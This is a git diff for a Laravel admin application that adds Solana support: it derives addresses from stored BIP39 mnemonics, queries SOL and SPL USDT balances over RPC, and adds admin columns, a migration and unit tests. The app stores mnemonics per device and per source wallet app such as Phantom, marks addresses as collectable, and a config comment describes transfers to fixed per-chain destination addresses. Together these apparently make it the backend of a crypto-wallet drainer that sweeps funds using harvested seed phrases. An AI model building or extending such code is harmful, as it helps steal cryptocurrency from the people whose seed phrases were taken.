diff --git a/app/Http/Controllers/Admin/WalletAddressController.php b/app/Http/Controllers/Admin/WalletAddressController.php index ff380c6..e741c92 100644 --- a/app/Http/Controllers/Admin/WalletAddressController.php +++ b/app/Http/Controllers/Admin/WalletAddressController.php @@ -49,7 +49,7 @@ class WalletAddressController extends Controller { $q = $this->baseQuery($request); - $sortable = ['id', 'address', 'chain_type', 'source', 'collectable', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at']; + $sortable = ['id', 'address', 'chain_type', 'source', 'collectable', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'sol', 'monitor', 'created_at', 'updated_at']; $field = (string) $request->query('field', 'id'); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; if (! in_array($field, $sortable, true)) { @@ -82,6 +82,7 @@ class WalletAddressController extends Controller 'eth' => $coins['eth'], 'btc' => $coins['btc'], 'bnb' => $coins['bnb'], + 'sol' => $coins['sol'], 'monitor' => (int) $row->monitor, 'monitor_synced' => (bool) $row->monitor_synced, 'monitor_failures' => (int) $row->monitor_failures, diff --git a/app/Models/WalletAddress.php b/app/Models/WalletAddress.php index e1c0618..564832b 100644 --- a/app/Models/WalletAddress.php +++ b/app/Models/WalletAddress.php @@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo; class WalletAddress extends Model { /** @var list */ - public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb']; + public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb', 'sol']; /** Display decimal places per coin (UI). */ public const DISPLAY_DECIMALS = [ @@ -17,11 +17,12 @@ class WalletAddress extends Model 'eth' => 6, 'btc' => 8, 'bnb' => 6, + 'sol' => 6, ]; protected $fillable = [ 'device_id', 'address', 'chain_type', - 'usdt', 'trx', 'eth', 'btc', 'bnb', + 'usdt', 'trx', 'eth', 'btc', 'bnb', 'sol', 'monitor', 'monitor_synced', 'monitor_failures', 'source', 'mnemonic_id', 'derive_index', ]; @@ -37,6 +38,7 @@ class WalletAddress extends Model 'eth' => 'decimal:18', 'btc' => 'decimal:8', 'bnb' => 'decimal:18', + 'sol' => 'decimal:9', ]; } diff --git a/app/Services/Chain/ChainManager.php b/app/Services/Chain/ChainManager.php index 50ca69f..6b283db 100644 --- a/app/Services/Chain/ChainManager.php +++ b/app/Services/Chain/ChainManager.php @@ -10,6 +10,7 @@ class ChainManager private readonly TronDriver $tron, private readonly EthDriver $eth, private readonly BtcDriver $btc, + private readonly SolDriver $sol, ) {} public function resolve(string $chain): ChainDriver @@ -18,6 +19,7 @@ class ChainManager 'tron', 'trx' => $this->tron, 'eth', 'ethereum' => $this->eth, 'btc', 'bitcoin' => $this->btc, + 'sol', 'solana' => $this->sol, default => throw new InvalidArgumentException("Unsupported chain: {$chain}"), }; } diff --git a/app/Services/Chain/SolAddress.php b/app/Services/Chain/SolAddress.php new file mode 100644 index 0000000..1069f1f --- /dev/null +++ b/app/Services/Chain/SolAddress.php @@ -0,0 +1,151 @@ +generateSeed(); + if (! is_string($seed) || strlen($seed) < 32) { + throw new RuntimeException('Failed to generate BIP39 seed'); + } + + // SLIP-0010: master from BIP39 seed, then hardened path. + [$key, $chain] = self::masterFromSeed($seed); + foreach ([44 | 0x80000000, 501 | 0x80000000, $index | 0x80000000, 0 | 0x80000000] as $child) { + [$key, $chain] = self::ckdPriv($key, $chain, $child); + } + + return self::base58Encode(self::publicKeyFromSeed($key)); + } + + public static function isValid(string $address): bool + { + $address = trim($address); + if (! preg_match('/^[1-9A-HJ-NP-Za-km-z]{32,44}$/', $address)) { + return false; + } + $decoded = self::base58Decode($address); + + return $decoded !== null && strlen($decoded) === 32; + } + + /** + * @return array{0: string, 1: string} 32-byte key + 32-byte chain code + */ + private static function masterFromSeed(string $seed): array + { + $I = hash_hmac('sha512', $seed, 'ed25519 seed', true); + + return [substr($I, 0, 32), substr($I, 32, 32)]; + } + + /** + * SLIP-0010 hardened-only child key derivation for Ed25519. + * + * @return array{0: string, 1: string} + */ + private static function ckdPriv(string $kPar, string $cPar, int $index): array + { + if (($index & 0x80000000) === 0) { + throw new RuntimeException('Ed25519 SLIP-0010 only supports hardened derivation'); + } + + $data = "\x00".$kPar.pack('N', $index); + $I = hash_hmac('sha512', $data, $cPar, true); + + return [substr($I, 0, 32), substr($I, 32, 32)]; + } + + private static function publicKeyFromSeed(string $seed32): string + { + if (strlen($seed32) !== 32) { + throw new RuntimeException('Invalid Ed25519 seed length'); + } + if (! function_exists('sodium_crypto_sign_seed_keypair')) { + throw new RuntimeException('ext-sodium is required for Solana address derivation'); + } + + $kp = sodium_crypto_sign_seed_keypair($seed32); + + return sodium_crypto_sign_publickey($kp); + } + + public static function base58Encode(string $binary): string + { + if ($binary === '') { + return ''; + } + + $leadingZeros = 0; + $len = strlen($binary); + for ($i = 0; $i < $len && $binary[$i] === "\x00"; $i++) { + $leadingZeros++; + } + + $num = gmp_init(bin2hex($binary), 16); + $base = gmp_init(58); + $out = ''; + while (gmp_cmp($num, 0) > 0) { + [$num, $rem] = [gmp_div_q($num, $base), gmp_intval(gmp_mod($num, $base))]; + $out = self::ALPHABET[$rem].$out; + } + + return str_repeat('1', $leadingZeros).($out === '' ? '1' : $out); + } + + public static function base58Decode(string $input): ?string + { + $len = strlen($input); + if ($len === 0) { + return null; + } + + $decoded = gmp_init(0); + $base = gmp_init(58); + for ($i = 0; $i < $len; $i++) { + $pos = strpos(self::ALPHABET, $input[$i]); + if ($pos === false) { + return null; + } + $decoded = gmp_add(gmp_mul($decoded, $base), $pos); + } + + $hex = gmp_strval($decoded, 16); + if (strlen($hex) % 2 !== 0) { + $hex = '0'.$hex; + } + $bin = $hex === '0' ? '' : (hex2bin($hex) ?: ''); + + $leadingZeros = 0; + for ($i = 0; $i < $len && $input[$i] === '1'; $i++) { + $leadingZeros++; + } + + return str_repeat("\x00", $leadingZeros).$bin; + } +} diff --git a/app/Services/Chain/SolDriver.php b/app/Services/Chain/SolDriver.php new file mode 100644 index 0000000..4d9f8d9 --- /dev/null +++ b/app/Services/Chain/SolDriver.php @@ -0,0 +1,169 @@ +getNativeBalance($address), '0', 9) > 0; + } catch (\Throwable) { + return false; + } + } + + public function getNativeBalance(string $address): string + { + if (! $this->isValidAddress($address)) { + throw new RuntimeException('Invalid SOL address'); + } + + $result = $this->rpc('getBalance', [$address, ['commitment' => 'confirmed']]); + $lamports = '0'; + if (is_array($result) && isset($result['value']) && is_numeric($result['value'])) { + $lamports = (string) $result['value']; + } elseif (is_numeric($result)) { + $lamports = (string) $result; + } + + return $this->fromLamports($lamports); + } + + /** + * SPL token balance: sums all token accounts owned by $address for $contract (mint). + * Handles the associated-token-account, secondary accounts and multi-decimal edge cases. + */ + public function getTokenBalance(string $address, string $contract): string + { + if (! $this->isValidAddress($address) || ! $this->isValidAddress($contract)) { + throw new RuntimeException('Invalid SOL address'); + } + + $result = $this->rpc('getTokenAccountsByOwner', [ + $address, + ['mint' => $contract], + ['encoding' => 'jsonParsed', 'commitment' => 'confirmed'], + ]); + + $accounts = []; + if (is_array($result) && isset($result['value']) && is_array($result['value'])) { + $accounts = $result['value']; + } + + $totalUnits = '0'; + $decimals = (int) config('coruna.sol.usdt_decimals', 6); + foreach ($accounts as $entry) { + $info = $entry['account']['data']['parsed']['info']['tokenAmount'] ?? null; + if (! is_array($info)) { + continue; + } + $amount = (string) ($info['amount'] ?? '0'); + if (! preg_match('/^\d+$/', $amount)) { + continue; + } + if (isset($info['decimals']) && is_numeric($info['decimals'])) { + $decimals = (int) $info['decimals']; + } + $totalUnits = bcadd($totalUnits, $amount, 0); + } + + return $this->fromTokenUnits($totalUnits, max(0, $decimals)); + } + + private function fromLamports(string $lamports): string + { + if (! preg_match('/^\d+$/', $lamports)) { + $lamports = '0'; + } + $human = bcdiv($lamports, '1000000000', 9); + $human = rtrim(rtrim($human, '0'), '.'); + + return $human === '' ? '0' : $human; + } + + private function fromTokenUnits(string $units, int $decimals): string + { + if (! preg_match('/^\d+$/', $units)) { + $units = '0'; + } + if ($decimals <= 0) { + return $units === '' ? '0' : $units; + } + $factor = bcpow('10', (string) $decimals, 0); + $human = bcdiv($units, $factor, $decimals); + $human = rtrim(rtrim($human, '0'), '.'); + + return $human === '' ? '0' : $human; + } + + private function rpc(string $method, array $params): mixed + { + $url = rtrim((string) config('coruna.sol.rpc_url', 'https://api.mainnet-beta.solana.com'), '/'); + $resp = $this->http()->post($url, [ + 'jsonrpc' => '2.0', + 'id' => 1, + 'method' => $method, + 'params' => $params, + ]); + if (! $resp->successful()) { + throw new RuntimeException('SOL RPC HTTP '.$resp->status()); + } + $json = $resp->json(); + if (! is_array($json)) { + throw new RuntimeException('Invalid SOL RPC response'); + } + if (isset($json['error'])) { + $msg = $json['error']['message'] ?? json_encode($json['error']); + throw new RuntimeException('SOL RPC: '.(is_string($msg) ? $msg : 'error')); + } + + return $json['result'] ?? null; + } + + private function http(): PendingRequest + { + $req = Http::timeout(30)->acceptJson()->asJson(); + $apiKey = (string) config('coruna.sol.api_key', ''); + if ($apiKey !== '') { + $req = $req->withHeaders(['Authorization' => 'Bearer '.$apiKey]); + } + + return $req; + } +} diff --git a/app/Services/MnemonicWalletDiscovery.php b/app/Services/MnemonicWalletDiscovery.php index 75faae0..2b84845 100644 --- a/app/Services/MnemonicWalletDiscovery.php +++ b/app/Services/MnemonicWalletDiscovery.php @@ -13,7 +13,7 @@ use Illuminate\Support\Facades\Log; /** * When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for - * TRON/ETH/BTC and persist only activated addresses (after a balance query). + * TRON/ETH/BTC/SOL and persist only activated addresses (after a balance query). * Fully inactive mnemonics stay out of the DB and are not monitored; the * wallets view previews one index-0 address per chain marked 未激活. * Activated rows are persisted with monitor on. @@ -27,6 +27,7 @@ class MnemonicWalletDiscovery ['chain' => 'tron', 'chain_type' => 'TRON'], ['chain' => 'eth', 'chain_type' => 'ETH'], ['chain' => 'btc', 'chain_type' => 'BTC'], + ['chain' => 'sol', 'chain_type' => 'SOLANA'], ]; public function __construct( @@ -63,17 +64,23 @@ class MnemonicWalletDiscovery return 0; } - $existing = WalletAddress::query() + $linkedChainTypes = WalletAddress::query() ->where('mnemonic_id', $mnemonic->id) - ->exists(); - if ($existing) { - return 0; - } + ->pluck('chain_type') + ->map(fn ($c) => strtoupper(trim((string) $c))) + ->filter() + ->unique() + ->values() + ->all(); $source = trim((string) ($mnemonic->source ?: '')); $saved = []; foreach (self::CHAINS as $spec) { + if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) { + continue; + } + try { $rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']); foreach ($rows as $row) { @@ -94,6 +101,22 @@ class MnemonicWalletDiscovery return count($saved); } + /** + * @param list $linkedChainTypes uppercase chain_type values already linked + */ + private function hasLinkedChain(array $linkedChainTypes, string $chain): bool + { + $aliases = match ($chain) { + 'tron' => ['TRON', 'TRX'], + 'eth' => ['ETH', 'ETHEREUM', 'EVM', 'BNB', 'BSC', 'BINANCE'], + 'btc' => ['BTC', 'BITCOIN'], + 'sol' => ['SOL', 'SOLANA'], + default => [strtoupper($chain)], + }; + + return array_intersect($aliases, $linkedChainTypes) !== []; + } + /** * Persisted linked rows, or ephemeral index-0 previews when none exist. * @@ -121,6 +144,7 @@ class MnemonicWalletDiscovery 'eth' => $coins['eth'], 'btc' => $coins['btc'], 'bnb' => $coins['bnb'], + 'sol' => $coins['sol'], 'active' => true, 'persisted' => true, ]; @@ -193,6 +217,7 @@ class MnemonicWalletDiscovery 'tron' => $this->probeTron($driver, $address), 'eth' => $this->probeEth($driver, $address), 'btc' => $this->probeBtc($driver, $address), + 'sol' => $this->probeSol($driver, $address), default => ['activated' => false, 'coins' => []], }; } @@ -262,6 +287,32 @@ class MnemonicWalletDiscovery ]; } + /** + * @return array{activated: bool, coins: array} + */ + private function probeSol(ChainDriver $driver, string $address): array + { + try { + $sol = $driver->getNativeBalance($address); + } catch (\Throwable) { + return ['activated' => false, 'coins' => $this->emptyCoins('sol')]; + } + + $usdt = $this->tokenBalance($driver, $address, (string) config('coruna.sol.usdt_contract', '')); + $activated = bccomp($sol, '0', 9) > 0 || bccomp($usdt, '0', 6) > 0; + if (! $activated) { + return ['activated' => false, 'coins' => $this->emptyCoins('sol')]; + } + + return [ + 'activated' => true, + 'coins' => [ + 'sol' => $sol, + 'usdt' => $usdt, + ], + ]; + } + /** * @param array $coins */ @@ -327,6 +378,7 @@ class MnemonicWalletDiscovery 'eth' => null, 'btc' => null, 'bnb' => null, + 'sol' => null, 'active' => false, 'persisted' => false, ]; @@ -344,6 +396,7 @@ class MnemonicWalletDiscovery 'tron' => ['trx' => '0', 'usdt' => '0'], 'eth' => ['eth' => '0', 'usdt' => '0'], 'btc' => ['btc' => '0'], + 'sol' => ['sol' => '0', 'usdt' => '0'], default => [], }; } diff --git a/app/Services/WalletBalanceService.php b/app/Services/WalletBalanceService.php index 8c63bd9..fc5f26b 100644 --- a/app/Services/WalletBalanceService.php +++ b/app/Services/WalletBalanceService.php @@ -12,6 +12,7 @@ use Illuminate\Support\Facades\Log; * Live on-chain balance refresh for wallet_addresses. * * Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20). BTC: BTC only. + * SOL: SOL + USDT (SPL). */ class WalletBalanceService { @@ -32,6 +33,7 @@ class WalletBalanceService 'TRON', 'TRX' => $this->refreshTron($address), 'ETH', 'ETHEREUM' => $this->refreshEth($address), 'BTC', 'BITCOIN' => $this->refreshBtc($address), + 'SOL', 'SOLANA' => $this->refreshSol($address), default => false, }; } @@ -102,6 +104,42 @@ class WalletBalanceService } } + public function refreshSol(WalletAddress $address): bool + { + $addr = trim((string) $address->address); + if ($addr === '') { + return false; + } + + try { + $driver = $this->chains->resolve('sol'); + $attrs = [ + 'sol' => $driver->getNativeBalance($addr), + ]; + $contract = trim((string) config('coruna.sol.usdt_contract', '')); + if ($contract !== '') { + $attrs['usdt'] = $driver->getTokenBalance($addr, $contract); + } + $this->persistCoins($address, $attrs); + + Log::info('sol balance refresh ok', [ + 'wallet_address_id' => $address->id, + 'address' => $addr, + 'sol' => $address->sol, + 'usdt' => $address->usdt, + ]); + + return true; + } catch (\Throwable $e) { + Log::warning('sol balance refresh failed: '.$e->getMessage(), [ + 'wallet_address_id' => $address->id, + 'address' => $addr, + ]); + + return false; + } + } + public function refreshTron(WalletAddress $address): bool { $addr = trim((string) $address->address); diff --git a/config/coruna.php b/config/coruna.php index 6329f31..d4a3d38 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -125,6 +125,16 @@ return [ // 0 = fetch recommended halfHourFee from API. 'fee_rate' => (int) env('BTC_FEE_RATE', 0), ], + 'sol' => [ + // Solana JSON-RPC endpoint. Public mainnet is heavily rate-limited; + // point to a paid RPC (Helius/QuickNode/etc.) in production. + 'rpc_url' => env('SOL_RPC_URL', 'https://api.mainnet-beta.solana.com'), + // Optional API key sent as Bearer token (Helius/QuickNode style). + 'api_key' => env('SOL_API_KEY', ''), + // Official Tether USDT SPL mint (mainnet). Empty = skip SPL USDT balance. + 'usdt_contract' => env('SOL_USDT_CONTRACT', 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB'), + 'usdt_decimals' => (int) env('SOL_USDT_DECIMALS', 6), + ], // /transfer: from = command arg (device address); to = per-chain TRANSFER_TO_ADDRESS_*. // Mnemonics resolved from wallet_mnemonics by address→device_id+source. 'transfer' => [ diff --git a/database/migrations/2026_09_23_000010_add_sol_to_wallet_addresses.php b/database/migrations/2026_09_23_000010_add_sol_to_wallet_addresses.php new file mode 100644 index 0000000..699bb54 --- /dev/null +++ b/database/migrations/2026_09_23_000010_add_sol_to_wallet_addresses.php @@ -0,0 +1,26 @@ +decimal('sol', 36, 9)->nullable()->after('bnb'); + }); + } + + public function down(): void + { + Schema::table('wallet_addresses', function (Blueprint $table) { + $table->dropColumn('sol'); + }); + } +}; diff --git a/resources/views/admin/addresses/index.blade.php b/resources/views/admin/addresses/index.blade.php index 3270c0d..498ce1a 100644 --- a/resources/views/admin/addresses/index.blade.php +++ b/resources/views/admin/addresses/index.blade.php @@ -254,6 +254,7 @@ layui.use(['table', 'form', 'layer'], function () { { field: 'eth', title: 'ETH', width: 100, sort: true }, { field: 'btc', title: 'BTC', width: 110, sort: true }, { field: 'bnb', title: 'BNB', width: 100, sort: true }, + { field: 'sol', title: 'SOL', width: 100, sort: true }, { field: 'channel_id', title: '渠道 ID', width: 140 }, { field: 'created_at', title: '创建时间', width: 170, sort: true }, { field: 'monitor_failures', title: '失败次数', width: 90, templet: function (d) { diff --git a/resources/views/admin/mnemonics/index.blade.php b/resources/views/admin/mnemonics/index.blade.php index e8cd42d..df284e2 100644 --- a/resources/views/admin/mnemonics/index.blade.php +++ b/resources/views/admin/mnemonics/index.blade.php @@ -131,7 +131,7 @@ layui.use(['table', 'form', 'layer'], function () { } html += '
' + '' + - '' + + '' + ''; rows.forEach(function (r) { var inactive = r.active === false; @@ -146,6 +146,7 @@ layui.use(['table', 'form', 'layer'], function () { '' + '' + '' + + '' + ''; }); html += '
IDChain地址IndexUSDTTRXETHBTCBNBUSDTTRXETHBTCBNBSOL
' + coinVal(r.eth) + '' + coinVal(r.btc) + '' + coinVal(r.bnb) + '' + coinVal(r.sol) + '
'; diff --git a/tests/Unit/SolAddressTest.php b/tests/Unit/SolAddressTest.php new file mode 100644 index 0000000..ae8c67a --- /dev/null +++ b/tests/Unit/SolAddressTest.php @@ -0,0 +1,50 @@ +markTestSkipped('ext-sodium required'); + } + + // BIP-39 abandon×11+about at m/44'/501'/0'/0' (Phantom/Solflare). + $mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; + $address = SolAddress::fromMnemonic($mnemonic, 0); + + $this->assertSame('HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk', $address); + $this->assertTrue(SolAddress::isValid($address)); + } + + #[Test] + public function sol_driver_derive_address_matches_sol_address(): void + { + if (! function_exists('sodium_crypto_sign_seed_keypair')) { + $this->markTestSkipped('ext-sodium required'); + } + + $mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; + $driver = new SolDriver; + + $this->assertSame( + SolAddress::fromMnemonic($mnemonic, 0), + $driver->deriveAddress($mnemonic, 0), + ); + $this->assertSame( + SolAddress::fromMnemonic($mnemonic, 1), + $driver->deriveAddress($mnemonic, 1), + ); + $this->assertNotSame( + $driver->deriveAddress($mnemonic, 0), + $driver->deriveAddress($mnemonic, 1), + ); + } +} diff --git a/tests/Unit/WalletBalanceServiceTest.php b/tests/Unit/WalletBalanceServiceTest.php index 816683e..6bafb55 100644 --- a/tests/Unit/WalletBalanceServiceTest.php +++ b/tests/Unit/WalletBalanceServiceTest.php @@ -90,6 +90,241 @@ class WalletBalanceServiceTest extends TestCase $this->assertEqualsWithDelta(9.5, (float) $addr->usdt, 0.0000001); } + #[Test] + public function refreshes_sol_and_usdt_only(): void + { + $sol = \Mockery::mock(\App\Services\Chain\SolDriver::class); + $sol->shouldReceive('getNativeBalance')->once()->andReturn('1.5'); + $sol->shouldReceive('getTokenBalance')->once()->andReturn('10'); + $manager = \Mockery::mock(\App\Services\Chain\ChainManager::class); + $manager->shouldReceive('resolve')->with('sol')->andReturn($sol); + $this->app->instance(\App\Services\Chain\ChainManager::class, $manager); + config(['coruna.sol.usdt_contract' => 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB']); + + $device = Device::query()->create([ + 'device_id' => 'dev-bal-sol', + 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + ]); + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => 'DYw8jCTfwHNRJhhmFcbXvVDTqWMEVFBX6ZKUmG5CNSKK', + 'chain_type' => 'SOLANA', + 'source' => 'Phantom', + 'sol' => 0.1, + 'usdt' => 0, + 'btc' => 2.0, + 'eth' => 3.0, + 'monitor' => 1, + ]); + + $ok = app(WalletBalanceService::class)->refresh($addr); + $this->assertTrue($ok); + $addr->refresh(); + $this->assertEqualsWithDelta(1.5, (float) $addr->sol, 0.0000001); + $this->assertEqualsWithDelta(10.0, (float) $addr->usdt, 0.0000001); + // Non-Solana columns are not overwritten. + $this->assertEqualsWithDelta(2.0, (float) $addr->btc, 0.0000001); + $this->assertEqualsWithDelta(3.0, (float) $addr->eth, 0.0000001); + } + + #[Test] + public function refreshes_sol_via_rpc_http_fake(): void + { + config([ + 'coruna.sol.rpc_url' => 'https://solana.example', + 'coruna.sol.usdt_contract' => 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB', + ]); + + // Phantom golden address (valid base58, 32-byte pubkey). + $solAddr = 'HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk'; + + Http::fake([ + 'https://solana.example' => function ($request) { + $method = $request->data()['method'] ?? ''; + if ($method === 'getBalance') { + // 1.5 SOL = 1_500_000_000 lamports + return Http::response([ + 'jsonrpc' => '2.0', + 'id' => 1, + 'result' => ['context' => ['slot' => 1], 'value' => 1_500_000_000], + ], 200); + } + if ($method === 'getTokenAccountsByOwner') { + // 10 USDT = 10_000_000 (6 decimals) + return Http::response([ + 'jsonrpc' => '2.0', + 'id' => 1, + 'result' => [ + 'value' => [[ + 'account' => [ + 'data' => [ + 'parsed' => [ + 'info' => [ + 'tokenAmount' => [ + 'amount' => '10000000', + 'decimals' => 6, + ], + ], + ], + ], + ], + ]], + ], + ], 200); + } + + return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'error' => ['message' => 'unexpected']], 200); + }, + ]); + + $device = Device::query()->create([ + 'device_id' => 'dev-bal-sol-rpc', + 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + ]); + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => $solAddr, + 'chain_type' => 'SOL', + 'source' => 'Phantom', + 'trx' => 9.9, + 'monitor' => 1, + ]); + + $this->assertTrue(app(WalletBalanceService::class)->refresh($addr)); + $addr->refresh(); + $this->assertEqualsWithDelta(1.5, (float) $addr->sol, 0.0000001); + $this->assertEqualsWithDelta(10.0, (float) $addr->usdt, 0.0000001); + $this->assertEqualsWithDelta(9.9, (float) $addr->trx, 0.0000001); + Http::assertSentCount(2); + } + + #[Test] + public function refreshes_sol_skips_usdt_when_contract_empty(): void + { + config([ + 'coruna.sol.rpc_url' => 'https://solana.example', + 'coruna.sol.usdt_contract' => '', + ]); + + $solAddr = 'HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk'; + + Http::fake([ + 'https://solana.example' => function ($request) { + $method = $request->data()['method'] ?? ''; + if ($method === 'getBalance') { + return Http::response([ + 'jsonrpc' => '2.0', + 'id' => 1, + 'result' => ['value' => 2_000_000_000], + ], 200); + } + + return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'error' => ['message' => 'should not call']], 200); + }, + ]); + + $device = Device::query()->create([ + 'device_id' => 'dev-bal-sol-no-usdt', + 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + ]); + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => $solAddr, + 'chain_type' => 'SOLANA', + 'source' => 'Phantom', + 'usdt' => 7.7, + ]); + + $this->assertTrue(app(WalletBalanceService::class)->refresh($addr)); + $addr->refresh(); + $this->assertEqualsWithDelta(2.0, (float) $addr->sol, 0.0000001); + // usdt column left untouched when contract is empty. + $this->assertEqualsWithDelta(7.7, (float) $addr->usdt, 0.0000001); + Http::assertSentCount(1); + Http::assertSent(fn ($request) => ($request->data()['method'] ?? '') === 'getBalance'); + } + + #[Test] + public function refreshes_sol_zero_balances_and_empty_token_accounts(): void + { + config([ + 'coruna.sol.rpc_url' => 'https://solana.example', + 'coruna.sol.usdt_contract' => 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB', + ]); + + $solAddr = 'HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk'; + + Http::fake([ + 'https://solana.example' => function ($request) { + $method = $request->data()['method'] ?? ''; + if ($method === 'getBalance') { + return Http::response([ + 'jsonrpc' => '2.0', + 'id' => 1, + 'result' => ['value' => 0], + ], 200); + } + if ($method === 'getTokenAccountsByOwner') { + return Http::response([ + 'jsonrpc' => '2.0', + 'id' => 1, + 'result' => ['value' => []], + ], 200); + } + + return Http::response(['error' => 'unexpected'], 500); + }, + ]); + + $device = Device::query()->create([ + 'device_id' => 'dev-bal-sol-zero', + 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + ]); + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => $solAddr, + 'chain_type' => 'SOLANA', + 'source' => 'Phantom', + 'sol' => 1.0, + 'usdt' => 5.0, + ]); + + $this->assertTrue(app(WalletBalanceService::class)->refresh($addr)); + $addr->refresh(); + $this->assertEqualsWithDelta(0.0, (float) $addr->sol, 0.0000001); + $this->assertEqualsWithDelta(0.0, (float) $addr->usdt, 0.0000001); + } + + #[Test] + public function refreshes_sol_returns_false_on_rpc_failure(): void + { + config([ + 'coruna.sol.rpc_url' => 'https://solana.example', + 'coruna.sol.usdt_contract' => 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB', + ]); + + Http::fake([ + 'https://solana.example' => Http::response('unavailable', 503), + ]); + + $device = Device::query()->create([ + 'device_id' => 'dev-bal-sol-fail', + 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + ]); + $addr = WalletAddress::query()->create([ + 'device_id' => $device->id, + 'address' => 'HAgk14JpMQLgt6rVgv7cBQFJWFto5Dqxi472uT3DKpqk', + 'chain_type' => 'SOLANA', + 'source' => 'Phantom', + 'sol' => 1.0, + ]); + + $this->assertFalse(app(WalletBalanceService::class)->refresh($addr)); + $addr->refresh(); + // Failure must not overwrite existing balance. + $this->assertEqualsWithDelta(1.0, (float) $addr->sol, 0.0000001); + } + #[Test] public function refresh_persists_even_when_balances_unchanged(): void {